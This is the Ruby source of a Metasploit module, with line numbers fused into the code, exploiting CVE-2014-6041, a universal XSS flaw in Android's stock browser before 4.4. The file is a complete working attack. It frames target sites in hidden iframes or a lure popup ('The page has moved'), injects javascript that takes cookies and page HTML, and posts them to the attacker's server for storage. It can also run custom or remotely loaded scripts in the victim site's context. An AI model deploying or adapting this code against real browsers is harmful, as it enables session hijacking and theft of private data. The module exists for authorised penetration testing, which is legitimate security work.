Path: blob/master/modules/auxiliary/gather/android_stock_browser_uxss.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpServer::HTML7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'Android Open Source Platform (AOSP) Browser UXSS',14'Description' => %q{15This module exploits a Universal Cross-Site Scripting (UXSS) vulnerability present in16all versions of Android's open source stock browser before 4.4, and Android apps running17on < 4.4 that embed the WebView component. If successful, an attacker can leverage this bug18to scrape both cookie data and page contents from a vulnerable browser window.1920If your target URLs use X-Frame-Options, you can enable the "BYPASS_XFO" option,21which will cause a popup window to be used. This requires a click from the user22and is much less stealthy, but is generally harmless-looking.2324By supplying a CUSTOM_JS parameter and ensuring CLOSE_POPUP is set to false, this25module also allows running arbitrary javascript in the context of the targeted URL.26Some sample UXSS scripts are provided in data/exploits/uxss.27},28'Author' => [29'Rafay Baloch', # Original discovery, disclosure30'joev' # Metasploit module31],32'License' => MSF_LICENSE,33'Actions' => [34[ 'WebServer' ]35],36'PassiveActions' => [37'WebServer'38],39'References' => [40[ 'URL', 'http://1337day.com/exploit/description/22581' ],41[ 'OSVDB', '110664' ],42[ 'CVE', '2014-6041' ]43],44'DefaultAction' => 'WebServer',45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)5253register_options([54OptString.new('TARGET_URLS', [55true,56"The comma-separated list of URLs to steal.",57'http://example.com'58]),59OptString.new('CUSTOM_JS', [60false,61"A string of javascript to execute in the context of the target URLs.",62''63]),64OptString.new('REMOTE_JS', [65false,66"A URL to inject into a script tag in the context of the target URLs.",67''68]),69OptBool.new('BYPASS_XFO', [70false,71"Bypass URLs that have X-Frame-Options by using a one-click popup exploit.",72false73]),74OptBool.new('CLOSE_POPUP', [75false,76"When BYPASS_XFO is enabled, this closes the popup window after exfiltration.",77true78])79])80end8182def on_request_uri(cli, request)83print_status("Request '#{request.method} #{request.uri}'")8485if request.method.downcase == 'post'86collect_data(request)87send_response_html(cli, '')88else89payload_fn = Rex::Text.rand_text_alphanumeric(4 + rand(8))90domains = datastore['TARGET_URLS'].split(',')9192html = <<-EOS93<html>94<body>95<script>96var targets = JSON.parse(atob("#{Rex::Text.encode_base64(JSON.generate(domains))}"));97var bypassXFO = #{datastore['BYPASS_XFO']};98var received = [];99100window.addEventListener('message', function(e) {101var data = JSON.parse(e.data);102if (!data.send) {103if (bypassXFO && data.i && received[data.i]) return;104if (bypassXFO && e.data) received.push(true);105}106var x = new XMLHttpRequest;107x.open('POST', window.location, true);108x.send(e.data);109}, false);110111function randomString() {112var str = '';113for (var i = 0; i < 5+Math.random()*15; i++) {114str += String.fromCharCode('A'.charCodeAt(0) + parseInt(Math.random()*26))115}116return str;117}118119function installFrame(target) {120var f = document.createElement('iframe');121var n = randomString();122f.setAttribute('name', n);123f.setAttribute('src', target);124f.setAttribute('style', 'position:absolute;left:-9999px;top:-9999px;height:1px;width:1px');125f.onload = function(){126attack(target, n);127};128document.body.appendChild(f);129}130131function attack(target, n, i, cachedN) {132var exploit = function(){133window.open('\\u0000javascript:if(document&&document.body){(opener||top).postMessage('+134'JSON.stringify({cookie:document.cookie,url:location.href,body:document.body.innerH'+135'TML,i:'+(i||0)+'}),"*");eval(atob("#{Rex::Text.encode_base64(custom_js)}"'+136'));}void(0);', n);137}138if (!n) {139n = cachedN || randomString();140var closePopup = #{datastore['CLOSE_POPUP']};141var w = window.open(target, n);142var deadman = setTimeout(function(){143clearInterval(clear);144clearInterval(clear2);145attack(targets[i], null, i, n);146}, 10000);147var clear = setInterval(function(){148if (received[i]) {149if (i < targets.length-1) {150try{ w.stop(); }catch(e){}151try{ w.location='data:text/html,<p>Loading...</p>'; }catch(e){}152}153154clearInterval(clear);155clearInterval(clear2);156clearTimeout(deadman);157158if (i < targets.length-1) {159setTimeout(function(){ attack(targets[i+1], null, i+1, n); },100);160} else {161if (closePopup) w.close();162}163}164}, 50);165var clear2 = setInterval(function(){166try {167if (w.location.toString()) return;168if (w.document) return;169} catch(e) {}170clearInterval(clear2);171clear2 = setInterval(exploit, 50);172},20);173} else {174exploit();175}176}177178var clickedOnce = false;179function onclickHandler() {180if (clickedOnce) return false;181clickedOnce = true;182attack(targets[0], null, 0);183return false;184}185186window.onload = function(){187if (bypassXFO) {188document.querySelector('#click').style.display='block';189window.onclick = onclickHandler;190} else {191for (var i = 0; i < targets.length; i++) {192installFrame(targets[i]);193}194}195}196</script>197<div style='text-align:center;margin:20px 0;font-size:22px;display:none'198id='click' onclick='onclickHandler()'>199The page has moved. <a href='#'>Click here to be redirected.</a>200</div>201</body>202</html>203EOS204205print_status("Sending initial HTML ...")206send_response_html(cli, html)207end208end209210def collect_data(request)211response = JSON.parse(request.body)212url = response['url']213if response && url214file = store_loot("android.client", "text/plain", cli.peerhost, request.body, "aosp_uxss_#{url}", "Data pilfered from uxss")215print_good "Collected data from URL: #{url}"216print_good "Saved to: #{file}"217end218end219220def backend_url221proto = (datastore["SSL"] ? "https" : "http")222myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']223port_str = (datastore['SRVPORT'].to_i == 80) ? '' : ":#{datastore['SRVPORT']}"224"#{proto}://#{myhost}#{port_str}/#{datastore['URIPATH']}/catch"225end226227def custom_js228rjs_hook + datastore['CUSTOM_JS']229end230231def rjs_hook232remote_js = datastore['REMOTE_JS']233if remote_js.present?234"var s = document.createElement('script');s.setAttribute('src', '#{remote_js}');document.body.appendChild(s); "235else236''237end238end239240def run241exploit242end243end244245246